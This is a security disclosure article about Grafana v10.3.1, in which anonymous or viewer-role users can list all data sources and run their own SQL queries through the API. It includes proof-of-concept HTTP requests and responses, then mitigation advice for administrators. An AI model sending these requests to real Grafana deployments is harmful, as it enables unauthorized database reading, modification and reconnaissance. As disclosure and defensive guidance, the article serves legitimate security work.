Grafana - unrestricted Access and Query Execution by a anonymous user - "it's not a bug, it's a feature"
Grafana - unrestricted Access and Query Execution by a anonymous user - "it's not a bug, it's a feature"

Grafana - unrestricted Access and Query Execution by a anonymous user - "it's not a bug, it's a feature"

In Grafana ver. v10.3.1, you can add any declared data source, such as a MySQL, Amazon Athena, Azure Data Explorer Datasource, Datadog, Elasticsearch, GitHub, GitLab and more.. to visualize data.

However, if you decide to take this step, it's important to understand that Grafana, for a anonymous user or user in viewer role - which is the most basic user level with access only to a dashboard limited by you - allows them to:

  • Retrieve information about all data sources connected to the Grafana organization;
  • Execute any query on a data source without providing a password, within the scope of data saved in the data source configuration;

Point of ?error”:

  1. For a anonymous user or user in viewer role: there is no limit to the API method that allows you to retrieve all added datasources;
  2. Datasources that don't have a dashboard running shouldn't be accessible to a anonymous user or user in viewer role;
  3. A anonymous user or user in the viewer role should not have access to query and edit the datasource;

This allows malicious users to perform critical queries to the database without a password, including deleting records, downloading data dumps, verifying the server version. In addition, a malicious user may receive sensitive information about external connected datasources, such as: username, IP, port, database name, database type, connection method, etc...

In the article, I consider two situations:

First: Grafana configuration allows anonymous access to the application - browser role, anonymous user. The least optimistic, access to the list of all data sources and the ability to perform queries.

Grafana

Second: Grafana requires log in to the app with your account, user in viewer role.

+1 to optimism, the user must be logged in at least as a viewer to access the list of all data sources and be able to perform queries.

Grafana

POC

HTTP Request by a anonymous user or user in viewer role – show all data source:

GET /api/datasources HTTP/1.1
Host: 192.168.1.98:3000
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://192.168.1.98:3000/connections/datasources
x-grafana-org-id: 1
Connection: close        

HTTP Response:

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: application/json
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Content-Length: 891
Connection: close

[{"id":1,"uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7","orgId":1,"name":"mysql","type":"mysql","typeName":"MySQL","typeLogoUrl":"/public/app/plugins/datasource/mysql/img/mysql_logo.svg","access":"proxy","url":"192.168.1.98:33306","user":"test","database":"","basicAuth":false,"isDefault":true,"jsonData":{"allowCleartextPasswords":true,"connMaxLifetime":14400,"database":"test","maxIdleConns":100,"maxIdleConnsAuto":true,"maxOpenConns":100},"readOnly":false},{"id":2,"uid":"f168bcfc-06c0-42b2-99ed-56a60110950c","orgId":1,"name":"mysql-1111","type":"mysql","typeName":"MySQL","typeLogoUrl":"/public/app/plugins/datasource/mysql/img/mysql_logo.svg","access":"proxy","url":"192.168.1.98:3309","user":"test2","database":"","basicAuth":false,"isDefault":false,"jsonData":{"connMaxLifetime":14400,"database":"test2","maxIdleConns":100,"maxIdleConnsAuto":true,"maxOpenConns":100},"readOnly":false}]        

Important information, 2x instants of MySQL:

..."uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7","orgId":1,"name":"mysql","type":"mysql"...
..."uid":"f168bcfc-06c0-42b2-99ed-56a60110950c","orgId":1,"name":"mysql111","type":"mysql","typeName":"MySQL"...        

At the moment, we have the UID of two data source instances, one of which has its desktop, and the other is just added to the data source configuration.


In the course of my research, it turned out that an anonymous user can only download the data source for the default organization, but this does not change the fact.

As a user in the viewer role (least privileged), you can also download all data source in your organization, about the added data source, including (default):

alertmanager
azuremonitor
cloud-monitoring
cloudwatch
dashboard
elasticsearch
grafana
grafana-postgresql-datasource
grafana-pyroscope-datasource
grafana-testdata-datasource
graphite
influxdb
jaeger
loki
mixed
mssql
mysql
opentsdb
parca
prometheus
tempo
zipkin        
Other applications that you can use as a data source

HTTP Request by anonymous user or user in viewer role - sended own query to data source:

POST /api/ds/query HTTP/1.1
Host: 192.168.1.98:3000
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
content-type: application/json
Content-Length: 434
Origin: https://192.168.1.98:3000
Connection: close

{"queries":[{"refId":"A","datasource":{"type":"mysql","uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7"},"rawSql":"SHOW TABLES ","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":1598},{"refId":"B","datasource":{"type":"mysql","uid":"fb7f9d4e-6de1-4301-b395-e6405908c9e7"},"rawSql":"SHOW DATABASES ","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":1598}],"from":"1706724228056","to":"1706745828056"}        

Response HTTP:

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: application/json
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Content-Length: 550
Connection: close

{"results":{"A":{"status":200,"frames":[{"schema":{"refId":"A","meta":{"typeVersion":[0,0],"executedQueryString":"SHOW TABLES "},"fields":[{"name":"Tables_in_test","type":"string","typeInfo":{"frame":"string","nullable":true}}]},"data":{"values":[["pet"]]}}]},"B":{"status":200,"frames":[{"schema":{"refId":"B","meta":{"typeVersion":[0,0],"executedQueryString":"SHOW DATABASES "},"fields":[{"name":"Database","type":"string","typeInfo":{"frame":"string","nullable":true}}]},"data":{"values":[["information_schema","performance_schema","test"]]}}]}}}        

Important information:

datasource 1 - tables: ["pet"]        
datasource 2 - databases:["information_schema","performance_schema","test"]        

Impact

As I showed above, an anonymous user or an enabled user in the lowest role can execute an endpoint API that allows him to execute his own query (CRUD) for all data sources added by the Admin. It can get a list of data sources that it shouldn't see - it shouldn't have access to from the primary role.

From a practical point of view, this means that for each instance of Grafana there is a risk for an anonymous user or in the role of a lower user (viewer), since it will allow access to critical resources, which may allow further escalation of privileges through data modification or infiltration of network resources.


One more thing

Mitigation

Grafana: In my opinion - communication with resources for a anonymous user and the user in the viewer role should be invisible, as in the case of a public dashboard without the ability to extract data identifying the data source.

Admin in org.: user for datasource:

  • Check your configuration, think/check twice before enabling anonymous access to Grafana
  • Remember and be careful: the viewer user with the least privilege in a given organization can list the data source and execute their queries in the data source using the API
  • It should only have access to selected databases
  • It should have access to the selected tables
  • It should have read-only access to data with a data limit for query
  • It should only be allowed from a dedicated IP address
  • You should built-in RBAC in the datasource


You must check out these articles:

And see:

When you enable anonymous access in Grafana, any visitor or user can use Grafana as a Viewer without signing in. This section lists the security implications of enabling Anonymous access. Anyone with the URL of a dashboard accessible by the Viewer role can access that dashboard.

  • New dashboards are publicly available unless the dashboard creator hides them from all Viewers.
  • Anyone can edit or delete dashboards that have granted Edit or Admin abilities to Viewers.
  • Anyone can make view calls to the API and list all folders, dashboards, and data sources.
  • Anyone can make arbitrary queries to any data source that the Grafana instance is configured with.

要查看或添加评论,请登录

Sebastian Obara的更多文章

社区洞察

其他会员也浏览了